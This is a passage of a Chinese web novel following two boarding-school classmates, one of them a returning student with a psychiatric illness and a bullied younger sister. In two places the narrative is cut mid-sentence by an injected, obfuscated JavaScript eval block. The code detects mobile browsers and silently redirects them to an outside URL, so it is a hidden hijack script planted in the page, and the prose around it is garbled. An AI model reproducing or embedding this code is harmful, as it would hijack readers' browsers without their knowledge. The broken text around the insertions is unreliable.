黎迟夏想到自己惨淡的语文分数,居然升起一点莫名的惭愧。 世上有一句真理:永远不要在爸妈面前提成绩,沾边也不行。 果不其然。 “我正要说这事,你高中一定要把语文提起来,”黎母一到这话题就有种黎迟夏不能理解的雄心壮志。 “一个作家的儿子语文才考八十分,太丢人了。” 黎迟夏的母亲迟棠是知名的作家兼编辑,出版的书比黎迟夏从小到大拿的奖状都多,偏偏自己孩子是个数学满分,语文及格的偏科战神,还偏得理直气壮。 “三分之二啊,很高了已经,您这是在期待母猪上树。” 黎迟夏很有自知之明地打消她的幻想,“你又不是不知道,语文对我就是玄学,您有这功夫不如去寺庙里烧高香。” “烧个鬼,”黎母被他无赖的态度气得够呛,“你当我不知道你天天上课睡觉呢?一到□□还没题目长,多写几个字能累死你还是咋地,还有你那作文也是,每次跟便秘一样,人家说的梦话都比你通顺。让你想个事例颠来倒去只有妈妈送我去医院——” “妈,下雨的晚上是精髓。”黎迟夏在旁边悠哉游哉地提醒,就差来一句“不听不听,王八念经”了。 黎母眉心突突直跳,“还把你能耐的!下回换个大雪天,兴许还有点新意,灵感来源于生活知不知道,我给你发了几篇文章,有时间好好学习一下人家怎么写的,甭再抖你那陈芝麻烂谷子。” “行了妈,我还要清行李呢!” 黎迟夏极有远见地打断她的长篇大论,在心里回了一句“谁看谁是狗”,忍无可忍地把迟女士推了出去,然后笑眯眯地关上了门,“慢走不送啊您嘞。” 忙活了一晚上,平日沾枕即睡的黎迟夏躺在床上居然睡不着了。 在第二十九遍翻身后,黎迟夏终于打开了手机,瞬间有消息疯狂刷屏,还都是他搁角落里落灰的群聊。 黎迟夏盯着99+的标记,瞬间没了爬楼的欲望,于是十分耐心地一个一个点了消息免打扰。 他原本准备开一局,想到明天还要拖着行李报道,还是忍住了,游戏都是越打越兴奋,那今晚就更不用睡了。百无聊赖之下,他随手点开了他妈发来的文件。 翻到某一篇时,黎迟夏下划的动作突然顿住了。倒不是因为写得有多好,毕竟他压根就还没看进去。 黎迟夏对于大段的文字有种与生俱来的恐惧,就算一个字一个字指着读,都能无聊得神游天外。 可这篇的标题却有点意思,黎迟夏盯着上面“疯子在右”四个字,不由自主地想起某个人。他再次点开了微信,果然找到个一模一样的昵称。 黎迟夏加好友有个不改备注的毛病,对方头像和名字一起改,他就完全认不出来了。 幸好他的“便宜模特”是新好友,尚有印象,没被他随手就删了。 这么巧? 黎迟夏乐了,把这篇截了图发给纪远声。 [我丢,这标题是不是很有意思?] 出于这种好奇,黎迟夏居然按捺着本能的抗拒,耐着性子全篇读下来了,迟棠看见都该欣慰地说一句,“儿子能读八百字以上的作文了,真不容易。” 写得有点不同寻常,叫什么流来着?对,意识流。 黎迟夏看完觉得自己像个未开化的原始人,大几千字的文章只有那句不明不白的结尾跟循环播放似地在他脑子里盘旋。 破天荒头一回。 [如果世界上真的有乌托邦,我会是坚定的反乌托邦者] 黎迟夏无比清醒地盯着天花板神游,果然……不明觉厉。 枕边头机震动了一下。 [疯子在右]:我写的。 啊? 黎迟夏懵了一下,在手机上删删打打才发出一条: [牛逼] 他翻了个身,切到文章的界面。他想起纪远声在那通电话之后忽然变化的脸色,像冰面下有火在烧。 黎迟夏读不懂他的文章,就像看不懂他本人。 对面又发了条消息。 [没感冒吧] 他说的大概是落水的事。 黎迟夏立即回道:[没啊],他想了想,又敲了一句:[你这么晚都没睡啊。] [你不也是] [我爸妈睡着了,要是看到又该叨叨了。。。] [对了,你父母都不回家吗] 那边没了回应,黎迟夏发出去才觉得问得冒失,及时地撤回了。 也不算及时。 [我爸死了,我妈在住院] 黎迟夏手悬在半空,大脑空白了一瞬,消息先一步发了出去。 [对不起] [没事,很久之前的事了] 黎迟夏盯着那一句看了半天,一时间思绪很乱,说不出什么安慰的话,说了其实也只是矫情。 所以那些冷淡、阴郁、沉默其实都有迹可循,纪远声仿佛小说里的悲情男配,从一开始就在深渊之下:早逝的爸、重病的妈、年幼的妹妹和破碎的他。 而他自己呢,对纪远声连了解都算不上,云泥两别,说再多的话也不过隔靴搔痒。 黎迟夏很少体会过这样语塞的感觉,他只能草草地结束对话。 [晚安] 另一头纪远声颓然地趴在桌上,昏黄的灯光将他照得很陈旧。 也回了一句“晚安”似乎用尽了他的力气,他把脸埋在手臂间,敛去了所有呼吸。 不知是那篇意识流的震慑还是那条消息的后劲,黎迟夏总觉得有什么压在心头,几次从梦中惊醒,醒来也不记得做了什么梦,也算是体验了一把失眠的感觉。 —— “你昨晚上梦游去了?”郑新言嘴里塞满冰西瓜,含糊地咕哝。 “啊?”黎迟夏打出了十分钟内的第十个哈欠,“你看见了?” “我赌你昨天没睡觉。”郑新言脸上憋着笑,还贴心地拿了一面镜子往他脸上怼。 镜子里的人已经从双眼皮熬成了不知多少层眼皮,头顶顽固地翘着一撮头发,黎迟夏正努力地想压下去。 “快,从实招来!”郑新言用牙签戳中一块西瓜,“你和小帅哥一夜春宵去了?” 黎迟夏和呆毛斗智斗勇了半天,终于甘拜下风,在桌下踹了他一脚,“去你大爷的!等着,把你脑袋拧下来当球踢。” 他拉开一瓶可乐,开始胡说八道,“开学太兴奋了,睡不着。” 郑新言:“?” “神经病。” 黎迟夏困得厉害,感觉下一秒就要给桌子磕个头拜个早年。 他咕噜咕噜灌了两口冰可乐,非常不客气地从郑新言盒子里夺走一块西瓜,终于精神了一点儿。 “人家有名字,叫小帅哥显得你很流氓。” 郑新言像是没听见似地盯着他看,直到黎迟夏不爽地扭过头,“干嘛?” “黎迟夏,我有个秘密要告诉你。” “啊?”黎迟夏没睡醒,反应有点迟钝,以为他真有事。 “我感觉小帅哥比你更帅一点。” 黎迟夏:“……” “滚吧你。”黎迟夏又踹了他一脚。 “哎呦,笑死我了。”郑新言笑得趴到桌上,“你刚才那表情配那个发型,简直绝了哈哈哈哈!” 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她曾经是纪远声的语文老师,也是极少数还记得这个在高二就销声匿迹的学生的人。傅林兰如今从高三三班回到了高一三班。 “傅老师好。”纪远声努力让自己挤出一丝笑意。 等老师走远了,他打开已经用了不知道多少年的手机,微信愣是在月球画面卡了三分多钟。纪远声点了置顶的好友,一只手扛着包袱,一只手敲字。 [回校了] 聊天界面基本都是他发的消息,像对着空气唱独角戏。 他自己也不知道向一个已经神志不清的母亲发消息有什么意义,反正挺蠢的,连心理安慰都算不上。 纪远声又踌躇了一会,终于收了手机走进办公室。 办公室里扑面的凉气让人心旷神怡,黎迟夏想到热不啦唧的教室里那块不吹风只会嗡嗡的“白色废铁”,简直想把这种神仙空调搬回去。 三班的班主任杨俭是个标准的中年女教师,戴着红框眼镜,眉头几乎没有舒展的时候,人称“二郎神”。 像那种随时就能拍着桌子飙出一句“你们是我教过最差的一届”的资深教师。 黎迟夏只想赶紧扔掉班长这个烫手山芋,在心里已经把郑新言祖宗十八代都问候了一遍。 抬眼时看到个熟悉的身影。 怎么是他? 纪远声站在二郎神旁边,眼睑微垂,完完全全就是个听话的好学生。 黎迟夏扫过他清瘦的侧脸,思绪被打断了,他花了足足三分钟接受了自己的模特成了自己同学的事实。 骂到第几代来着…… 黎迟夏漫游般想着,他穿校服倒也挺合适…… 杨俭没注意到黎迟夏,自顾自地讲。黎迟夏也不好意思出声打断,无意中听到几个“打架”“心理问题”的关键字眼,立即往后退了几步。杨俭这才看到他,止住了话头。 倒不是他喜欢探听隐私,实在是因为英语听力练出来的耳朵太灵敏了,想不听也没办法。 “黎迟夏,这是我们班的新同学纪远声。你是班长,老师希望你带带新同学,让他尽快融入班集体。” 杨俭说完又转向纪远声。 “有什么问题可以找黎迟夏,好了,回班吧。” 黎迟夏以为这就完了,正转身要走。 “等会,我是跟他说,你留着。”杨俭叫住他,“我记得你是住校生吧。” “是啊,老师。” “那正好,我们班住校生的情况也归你管。”黎迟夏“啊”了一声,被二郎神严厉的目光逼得收了回去。 住校生的名单上,纪远声赫然在列。 “这是学校的住宿规范,你仔细阅读一下,宿管是会定点检查的。你把话带到,如果有谁不遵守纪律,给班级抹黑的,一律严肃处理,以后也不用住校了。” 5. 新收的小弟 手机已经振动了半天,电话显示的联系人是妹妹。纪远声找了个厕所才打回去。 “喂,哥。” “嗯。” 那头的声音嗫嚅着,“我作业落在家里了。老师说让家长送过来。” 纪远声耐心地等纪念磕巴完才出声,“好,马上来。” 他叹了口气,不用进班了吧,反正他一个从高二下来的,也不用拿新课本。 “二郎神找你就为了说这个?”郑新言嫌恶地拎起密密麻麻的四折叠住宿规范细则,表示不以为然。 “不然呢,”黎迟夏在教室里环顾了一圈,却连纪远声影子都没见到,便没说插班生的事,“你是指望考试还是放假?” 郑新言脸上直白地写着“这还用问吗”。 开学第一天总有讲不完的废话。 杨俭在讲台上已经从校规说到班规,又从严禁早恋扯到少打游戏,讲了两个多小时没有要停的迹象。郑新言十分听劝地退出了开心消消乐,转而开始刷视频。 黎迟夏坐在旁边昏昏欲睡,熬不动了干脆趴桌上睡;最后一排的已经聊得不知天地为何物了。 “饿死了,怎么还没完?”郑新言小声抱怨。窗外有隔壁班的学生背着书包经过,正在兴奋地讨论放学去哪消遣。 等杨俭终于大发慈悲地宣布放学,黎迟夏也睡饱了,揉了揉压得发红的脸颊,“下午去吃烧烤吧,把荀北也叫上,我请客。” “好啊,我知道附近有一家巨好吃的烤肉自助,”郑新言一提吃的就来劲了,“对了,再带两个呗哥。” “借花献佛啊?你个坑爹玩意儿。” “你咋知道?”郑新言难得地有些不好意思,“上周刚买了个游戏本,零花钱要告急了。” 黎迟夏轻嗤一声,朝他翻了个白眼,“你什么物种我能不知道?算盘珠子都蹦我脸上了。”不用想都知道,这鳖孙就想带上许谈宋和吴玥。 许谈宋是郑新言在衔接班认识的女生,一开始还挺文静,军训见她耍了一套棍棒以后黎迟夏才认识到人家跟淑女压根就不沾边,得叫英姿飒爽。从此郑新言天天为她扛大旗。 “爹,爸爸,祖宗,”郑新言嗷嗷喊,突然抱住他手臂,“为了兄弟的梦想——” “要死啊!你个大傻逼,汗蹭我衣服上了。”洁癖重度患者黎迟夏“噌”地弹了起来,吼得比他更大声。 黎迟夏无比庆幸自己为了睡觉披上了外套,否则郑新言刚才那么一蹭,自己估计一拳就把他锤飞了。 站在旁边的荀北忍俊不禁,“有女神就要坑兄弟了啊,郑新言,二郎神才说的不许早恋。” “你懂啥啊,”郑新言摆摆手,“这不叫早恋,叫追星。她是我偶像!” 黎迟夏立即划清界限,“你个舔狗别和我们一桌啊,晦气。” “那我给她们说一声咯,爹!” “……给我当孙子都不要。” “好嘞,爷爷!”郑新言厚脸皮功力深厚,马上喜滋滋地给许谈宋发了消息,感叹道,“我第一次见那么帅的女生,帅我一脸。” “抽你一个大嘴巴子估计更帅。” 天枫小学门口。 纪远声靠在花坛旁边,拎着纪念的作业本,身上还穿着市一中的校服。 门卫懒洋洋地找他搭话,“学校没开学啊?今天怎么有时间咧?”他记得有个四年级的女生总是请假去医院,好像是肠胃问题,几乎每次都是眼前的少年来接她,一来二去也就面熟了。 “嗯。”纪远声应道,眼睛只是瞅向学校的围栏里,“来送东西。” 操场上有小孩尖叫着追来逐去,有小孩蹲在地上拔草,有小孩在双杠上倒挂金钩。 纪远声看着有一瞬间的困惑,为什么小孩子们会这么开心?十几年前的自己也是这样笑的吗?那么妹妹呢,也会这样笑吗?就像所有无忧无虑的小孩。 但并非所有小孩都能无忧无虑。 “你个丑八怪,蠢死了!像你这种废物就该待在垃圾桶里。”纪念沉默地看着面前骄矜拔扈的女生,漆黑的瞳孔里倒映出她和身边的一群死党,她们围成半个圈,脸上带着恶意和嫌弃的表情。 “哈哈哈哈,说得太对了!” “你们看她表情,像个弱智一样!” “让开。”纪念孤零零地抱着吃剩的饭碗,面无表情地看着她们。 “喂,你这是什么语气?”为首的女生居高临下地看着她,大抵是觉得自己的权威受到了挑战,伸手就推在她肩膀上。 纪念被推得踉跄了一下,眼见几人丝毫没有让路的意思,从空隙间撞出去就往外跑。 “嘶,”另一个同伴揉着被撞的肩膀,朝她骂道,“疯了吧,纪念,你完了!” 她冲上去扯纪念的头发,纪念吃痛地倒退两步,旁边的女生则使劲拽她胳膊。其他人在旁边看热闹。纪念根本敌不过两人的夹击,手上的碗摔在地上,菜汤溅了一身。 一群小孩看着她狼狈的样子得意大笑。 “丑八怪,谁让你撞人的!”扯头发的女生终于大发慈悲地松开手,抱臂嘲讽道,“放过你也不是不行,你学两声狗叫吧。” 纪念沉默地收拾好掉到地上的碗和餐具,没理会她,转身就走。 “喂,”旁边的女生一把拽住她,盛气凌人地说,“让你走了吗?别给脸不要脸啊。” 纪念抿起嘴,苍白的脸涨红了,冷冷地看着她。双方僵持了几秒钟,纪念最终还是妥协了,敢怒不敢言地照做。 几个人这才慢慢让开路,纪念唯恐他们还追过来,飞快地往楼下跑,看到校门口的哥哥才放下心,却又惊惶起来——她不想让他知道。 “哥。” 纪念缓慢地挪到校门口,对上纪远声微垂的目光,不自然地抬手想挡住身上的油渍。 当然是挡不住的。 “怎么回事?”纪远声看着已经晕开的油污,皱起眉问她。 “没,”纪念紧张地攥住衣角,把喉头的哽咽憋了回去,小声答道,“就是被被被被人不不不不小心撞了一下。” 挺合理。 纪远声隐隐看出点儿不对劲,但她脸色很难看。他了解自己的妹妹,不想说的时候是怎么也问不出来的。 “要不要回家换套衣服?”他转而问道。 纪念坚决地摇了摇头,接过了他手里的作业本。纪远声张了张嘴,他本想再追问两句油污的事,最后还是放弃了。 “放学能自己回家吗?”毕竟小学放得早,他是无论如何也腾不出时间的。 纪念又坚决地点了点头。 兄妹都是寡言的人,市一中离这儿挺远,纪远声原本不放心,还想嘱咐两句,但思来想去竟然无话可说。 “那我先回学校了,有事打电话。”纪远声目送妹妹远得看不见了,才折返回学校。 “下一站……” 公交车呜呜的发动声吵得纪远声连闭目养神都嫌心烦。他按亮手机,屏幕上迟钝地跳出一条消息。 黎迟夏:[你去哪了?] 纪远声没想到他会特意来问一句,回得言简意赅:[有点事。] 他想了想,记起黎迟夏是班长,又多发了一行:[不好意思] 倒不是担心被记名字,学校肯定是没心思管他的,他也乐得自在。只是人家班长热心负责地来询问,他反而有些过意不去。 黎迟夏扫了眼两条消息,又敲出一句: [回学校吗] 那边秒回,[快到了]。 黎迟夏得到了期望的答案,满意地趴到桌上继续补昨晚的觉。 可惜这回也没睡安稳。 “我靠,”郑新言进门就一惊一乍地喊,“你知道隔壁住的谁吗?” 黎迟夏被吵醒有点不耐烦,敷衍地掀开眼皮,“快放。” “小帅哥,我靠。”郑新言看到他毫不惊讶的样子,“你怎么这副表情?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344688|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黎迟夏想起来自己还没说过插班生的事,也许全校只有他一个人知道纪远声,意识到这一点,竟有点莫名的愉悦。 郑新言自然不知道他的心思,也不追问,继续说,“这么巧,我都没想到他也是高中生,还正好和咱们一个学校——” “还在一个班呢。”黎迟夏嘴角上扬了一点。 “?你怎么……”郑新言膛目结舌了两秒,后知后觉地悟了,“你早就知道?” “那可奇了怪了,我们宿舍不是空一个人吗?他怎么一个人住隔壁?”郑新言好奇道。 黎迟夏愣了愣,“隔壁就他一个?” 反常的安排都一定有明面或者上不得明面的原因。 黎迟夏忽然就想起纪远声当时仿佛只是一时兴起随口一说的“秘密”。 他有那么一秒,是想说出来的吧? 黎迟夏去隔壁拜访了自己的“模特”,懒洋洋地倚靠着半开的门看他收拾。纪远声动作很麻利,半个小时已经把寝室拾掇地差不多了。 “纪远声,”他轻佻地弹了下舌头,抱臂笑道,“收拾完一起吃个烧烤呗,我请客。” 对方终于抬头,声音礼貌又带点疏离,“不了,我自己休息会。”冷淡得让黎迟夏误以为不久之前在一起开过的玩笑,出过的糗都是他自己的一场幻觉—— 他们从来都是素不相识的陌生人。 “我得罪你了?”黎迟夏挑眉盯着他,却用的开玩笑的语气。 黎迟夏笑眯眯地望着他,“给个面子呗,都是同班同学,正好认识一下嘛。” 潜台词太明显了:再拒绝就是看不起他。 纪远声无话可说。 在郑新言的大力推荐下,四人徒步将近一公里才找到这家装潢高端上档次的自助烤肉店。 四个男生和两个还没到的女生,正好凑一桌。 “这几样先各上二十盘吧。”郑新言把勾好的菜单递给服务员,熟稔得像个东道主,“那边有饮料,蛋糕和冰淇淋。” “香草冰淇淋,巧克力蛋糕,还有芒果冰沙。” 黎迟夏懒懒地靠着沙发,噼里啪啦地报“菜名”。 郑新言习以为常地提着托盘去帮他拿,纪远声几乎是同时起身。 黎迟夏只当他是自己要吃,忽然想起那块本想让纪远声吃瘪,自己却也没逃过的巧克力,有点坏心地打趣。 “巧克力味儿的苦,你可以吃草莓味儿的。” 纪远声看了他一眼,脸上泛起几不可见的微红。 还不禁逗呢。 黎迟夏看着他转身就走,生出点儿得逞的愉悦。 高冷的脸窘迫的时候总是格外诱人。 但他不知道,纪远声刚在想的其实是喂那块巧克力时,指尖好像擦过了他的嘴唇。 愉悦没多久。 半晌他面前水灵灵出现了六盘甜品,分毫不差都是他点的,只是复制粘贴成了双份。 纪远声也意识到自己帮了倒忙,干脆坐到一边,装作无事发生。 黎迟夏面无表情地盯着看,觉得他有公报私仇的嫌疑。 郑新言认真地比对了“原件”和“复印件”,怀疑的眼神在两人之间游移,随即露出恍然大悟的表情,“黎迟夏,你收了个新小弟?” 敢情还是□□大哥…… 黎迟夏默了两秒,非常淡然,“对,我是他大哥,我今天本来就要吃两份。” 在郑新言爆笑之前,黎迟夏立即给了他一脚,“笑个屁,许谈宋刚打电话了,赶紧去接你偶像!” “我靠,”荀北正好走过来,注意到几乎摆得满满当当的桌子,“怎么成蛋糕自助了?” 纪远声面不改色,高高挂起。 黎迟夏扯了下嘴角,敷衍地答,“我想吃,我爱吃。” 下一秒不着痕迹地靠近纪远声,似笑非笑,“小弟,下次就不用了,我可没那么饥饿。”他特意加重了咬字,带着戏弄的意味。 6. 精神病 烤盘上传来油脂欢快的嗞嗞声,没人注意到他俩的动静。 纪远声埋头挖蛋糕,微垂的眉眼用一点余光去看黎迟夏,居然有点温驯。 看起来是那种谁都可以捏一把的软柿子。 黎迟夏大大方方地欣赏他略显瘦削的侧脸,直到对方默默地往远挪了挪。 “今天班长请客,我们负责吃就行。”郑新言正带着许谈宋和吴玥过来,豪爽得仿佛请客的是他自己。 可惜他女神并不吃这一套。 两个女生都挺拘谨,毕竟是才刚认识,又是异性。 “黎迟夏,我把钱转你吧。”许谈宋知道烧烤的自助还是挺贵的,况且她和吴玥同郑新言几个人也才刚认识,没道理占这么大便宜。 “甭转,”黎迟夏立即回绝,“这点钱有什么好说的,同学之间一起吃个饭而已。”他是实话实说,这次请客的钱对别人来说是个大数目,其实也不过他一周的零花钱。 纪远声闻言看了看他,又很快地收回目光。 几盘肉刚上来,郑新言就急着显摆, 他很绅士地给他们介绍烤肉的技巧,其实不过是为了在“偶像”面前露一手,黎迟夏和荀北都看得直翻白眼。 黎迟夏夹了一片肥牛卷,切得近乎透明的薄片甫一接触铁网,迅速冒泡变色。 他不像郑新言一般狼吞虎咽:一次性攒了一叠肉片,又蘸满了酱料,才舍得张嘴。 黎迟夏吃得慢而优雅,而且一定会先用挑剔的眼光检查一遍烤好的肉,略生的和焦的皆不能入嘴。 没几片他就有些腻了,点了一盘生菜和紫苏。 倒不是食材的问题,是黎迟夏自己太挑食。 他小时候甚至厌食,总有各种各样的理由拒绝吃饭,不沾葱姜蒜香菜,吃鱼不吃刺多的,吃虾又懒得剥壳,鸡蛋必须是糖心,馄饨皮不能太厚,菜不能太咸太淡,也不能太油,而且一点辣椒也不能沾,五星级的厨师来了都得抓狂。 那会儿父母忙着工作,也没精力哄他吃饭,为此换了几任保姆,还得了低血糖。长大了好一点,但仍是挑食得厉害。 “这店儿好好吃。”许谈宋尝了一口,惊喜地夸赞。 “那是,吃喝玩乐认谁郑新言。”荀北一句话总结到位。 “卧槽,你小子拐着弯骂我呢?” 郑新言一心和“偶像”搭讪,不慎夹了一筷刚放上去的生肉,立马面色涨红地“呸呸呸”。 “噗哈哈哈,”许谈宋被他的洋相逗乐,很快也放开了,“……你都不知道,我上回直接撂倒了三个男生。” 黎迟夏意味深长地看了她一眼,他觉得郑新言大概不久就会成为她的战绩之一。 “卧槽,这么厉害吗?”郑新言倒是很给面子地捧场,罕见地情商高了一回。 “啥时候和黎迟夏比划比划?” 黎迟夏凉凉地扫他一眼,情商高个屁,真是狗改不了吃屎。 还没等他骂,许谈宋先笑道,“班长吃这么素,经打吗?” “……” 郑新言和荀北在一旁笑得很猖狂。 黎迟夏皮笑肉不笑地掠过一眼,“你要不试试?医药费不用你出。” 许谈宋毫不在意嘻嘻笑道,“班长可真幽默。” “欸,他是……”许谈宋注意到一直垂着头的纪远声,朝郑新言问道,“军训那会儿没见过他呢?” “哦,”郑新言解释,“这是纪远声,之前不在,也是我们班的。” 纪远声终于抬头向她们点了点头,算是打招呼。 “宋宝,”吴玥凑到她耳边小声说,“我怎么觉得他有点眼熟?” 黎迟夏耳朵太尖了,偏巧听到了这一句,心下一愣,正要询问,旁边纪远声一时走神,把蛋糕挑飞了,滑腻腻的奶油溅到他脸上。黎迟夏扭头看向纪远声,面无表情。 “……抱歉。” 纪远声把罪恶的勺子插进蛋糕里,抽了张纸巾,想帮他擦脸,手停在一寸远的地方,忽然不动了——他想起黎迟夏不同寻常的洁癖。 “你擦吧。”纪远声放下纸巾。 “……我感觉你是故意的。” 黎迟夏把奶油擦干净,叹了口气,“我哪儿得罪你了?” “你们看班群了吗?”郑新言刚打开手机,就叫道。 “什么班群?”荀北抱怨,“二郎神又发什么了?” “不是那个班群啦,水群水群。”郑新言看了眼毫无反应的黎迟夏,“夏哥,你看了吗?” 黎迟夏舀了勺冰淇淋,“没,早就免打扰了。” “也是,”郑新言知道他什么性格,早有所料。 “……不对,那我呢,不会也开了吧?” 黎迟夏很淡然地看他一眼,“你是第一个开的免打扰。” “?” 郑新言被刺激得戏精附体,“黎迟夏,你这个绝情的人。” 黎迟夏懒得理他,“水群发什么了?” “说是要来个新同学,休学来的——” “卧槽。” 黎迟夏抹掉脸上再一次溅上的奶油,幽幽地转向神情微僵的纪远声,在心里连带着郑新言一起骂了。 一个不长脑子和一个不长嘴的,单纯拿他撒气了。他有时候怀疑郑新言可能和猪换过大脑。 “咋了?”郑新言被打断,一头雾水地抬头,还没发现什么不对。但其他几人神色已有些怪异,黎迟夏正欲说话,被纪远声抢先一步。 “没事。” “哦。”郑新言有点奇怪,还是继续说,“据说好像是精神病。” “谁说的?”黎迟夏皱眉,下意识问。 “林大秘书,还能有谁?” 他说的是林子轩,出了名的包打听,信息灵通这方面比黎迟夏更像班长,背后嚼舌根的事儿也不少,班上同学戏称他“林秘书”,看不惯的私底下叫他长舌男。 一桌人陷入了一种诡异的寂静,只有冒油时咕噜咕噜的声音,纪远声不动声色地把一片肉翻了个面。 荀北用胳膊肘撞了郑新言一下,朝纪远声那边使了个眼色。 郑新言话音一顿,终于意识到了。 新同学不就是说的纪远声吗。 这是嚼舌根嚼到人家面前了。郑新言简直想扇自己两巴掌。 “谣言,都是谣言!” “没事。” 纪远声淡淡说道,“不全是谣言。”他目光下垂,没看向任何人,清朗的声音有种自暴自弃的坦诚,“我休学一年半,也确实患有精神性疾病。” 几人面面相觑,都不说话。 气氛很尴尬。 还是黎迟夏开口打破了僵局,“纪远声,赶紧帮我吃蛋糕,我可炫不了这么多!”他不由分说地将盘子推到纪远声面前。 蛋糕散发出甜腻的味道,纪远声心下微动。 荀北适时地找了个话题掩盖过去,所有人都心照不宣地若无其事。 黎迟夏却总不受控制地想着纪远声刚才那番坦白,又联想到当时办公室里几个零星的词。 他觉得自己像是个探秘者,纪远声成了一座迷宫,用曲折掩饰了全貌。他抓着重要线索,却始终找不到出口。 过了傍晚,一桌人才解决完所有的菜品,可能是因为假期刚结束,外面行人稀少,电动车驰骋得畅通无阻。黎迟夏吃了将近双份的甜品,觉得自己至少一个星期不会沾甜食了。郑新言已经累得瘫在椅子上直打嗝,还是主动提出要给两个女生送一程。荀北说他爸妈来给他送东西,和他们不同路。 最后一起回校的只剩下黎迟夏和纪远声。才吃完一顿过量的晚餐,两人都走的很慢,像饭后消食的老年人。 “你别管那些话,没人会看的。”黎迟夏突然开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344689|199478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。其实这话说出来,他自己都不信。谣言就算再荒谬,也会有人坚信不疑,也会有人深受其害。 何况是半真半假的谣言。 纪远声轻笑一下,“你怎么比我还在意?” “我又不是三岁小孩,不会因为别人多看我两眼就难受难堪。他说的也没错,我的确是精神病……” “我又不瞎。”黎迟夏毫无反应地说,“生了病去治就好了,谁还是个无病之身啊?没什么可说道的。” 纪远声沉默了好一会儿,才问。 “治不好呢?” “那就这样呗。”黎迟夏不以为然地撇嘴,“能治就治,不能治也没什么大不了。” “你妹妹呢?有人照顾吗?”黎迟夏转而问道。 纪远声脸上浮现出一丝隐晦的担忧,黎迟夏觉得换作自己肯定不放心——纪念年纪小,表达能力有堪忧,难免被忽视孤立,受人欺负。 黎迟夏接着说,“有事可以找我帮忙,反正一个班的,你当自己有三头六臂呢?”又立即解释,“别误会,我可不会徇私。” “我们有什么私可徇吗?” 纪远声问这话时显得有些薄情,黎迟夏觉得他太熟练了,熟练地在所有的关系里把自己撇得干干净净。 “这个算吗?” 黎迟夏递出一张照片,不是昨天晚上照的,那一批还没来得及洗出来。 是一年前偷拍的那张“杀手锏”,照片背面写着他的名字和拍摄日期。 纪远声愣了愣,接过照片时神情有一瞬间的恍惚。 “对了,”黎迟夏想起来,开玩笑地问道,“你为啥还是单人寝?” 纪远声不说话,黎迟夏觉得自己大概应该可能又说错话了。 “算了,”黎迟夏自己接了个玩笑话,“还是你比较高贵吧。” 两人回校的时候因为太晚还被门卫“审问”了一番。但这么晚了仍有人在操场打球跑步,连呐喊声都丝毫不减,得亏离宿舍远,不然高低得有人来施展一下口舌或者拳脚。 纪远声没和他一起回宿舍楼。有前两次的失败经验,黎迟夏也不敢过问了,只在临别时高声提醒了一句宵禁时间。 纪远声抬了抬手,示意听见了。 他轻车熟路地去了学校的琴房,那张照片沾了他手心的汗,在外套的兜里露出一角,像某种破土而出又隐而未露的心思。 精神病应该远离人群。 纪远声按下琴键,过分平静地想。 “进展如何?”黎迟夏朝刚回来的郑新言问,刚洗的头发末梢还在滴水。 “还行,”郑新言打了个哈欠,“加上好友了,她说教我打架。” 人家可能是缺沙包。 黎迟夏在心里吐槽了几句,还是本着尊重的原则,“恭喜。” 荀北后脚就拎着一大袋书进来,脸色不太好看。 “怎么了?荀北,你怎么一幅见了鬼的样子?” 他泄愤似地把书往桌上一扔,嘴里嘟囔道,“差不多。”他拎了条毛巾,一言不发就往外走,半路又折返回来拿衣服。 躺地上乘凉的郑新言站起来,“你有没有觉得狗北心情不好。” 自从班主任第一次点人老眼昏花把“荀”看成了“苟”,郑新言就经常喜欢叫他“狗北”。 黎迟夏正在核对住校人数,闻言说道,“说点不知道的。”被硬塞了一堆教辅,能开心了才有鬼。 “不对劲啊,”郑新言咔嚓咔嚓地嚼薯片。 “狗北情绪都不上脸的,怎么今天反应这么大?” 黎迟夏也觉得奇怪,可他一抬眼看到吃得正欢的郑新言,“你不是刚吃完白助餐吗?” “是啊,”纪远声理所当然地回答,“我又饿了。” 黎迟夏翻了个白眼,隔壁传来开门的声音。他立即在最后一个名字“纪远声”后面打了勾。 7. 西施少爷 第一次体会到住校和在家的区别是在黎迟夏起床的时候。 住校的时候连早饭都没来得及吃,一睁眼就是跑。 二郎神的演讲他一句没听,幸好时间记得很清楚。 黎迟夏有两个难兄难弟精准地提前两分钟到达战场。 结果后面还来了个更会掐点的。 纪远声一进教室就成了焦点,尽管他照旧低调得像个影子,可惜那张脸实在太权威,想不注意都难。眼形狭长,鼻梁高挺,唇色泛白反倒添了几分古典美人的破碎感。 底下的同学都窃窃私语起来。 “我靠,学校里的帅哥不会都在我们班吧!”这句话里囊括了黎迟夏。 “小说男主出现了啊啊啊啊!” “这是林子轩说的那位吗?” “看上去不好惹。” 黎迟夏心不在焉地转着笔,仿佛想到什么好笑的事情,不自觉地弯起嘴角,长得挺乖啊,怎么不好惹了?表面生人勿近,说不定是个闷骚呢。 纪远声顶着各异的眼神径直走到最后一排的空位坐下,遥遥地望了一眼黎迟夏,正好和他对上,两人都飞速移开目光。 巧的是空位的同桌正是在水群里把传言闹得沸沸扬扬的林大秘书。 背地里蛐蛐还能被本人知道,林子轩这种长舌哥私下议论也就罢了,还坦坦荡荡发在群里。黎迟夏觉得他的行为招人厌烦又莫名其妙,若是换做自己,现在肯定得给林子轩点儿不痛快。 纪远声却没什么多余的反应,自顾自地翻开英语书。“长舌哥”倒是不自在地往过道靠了靠。 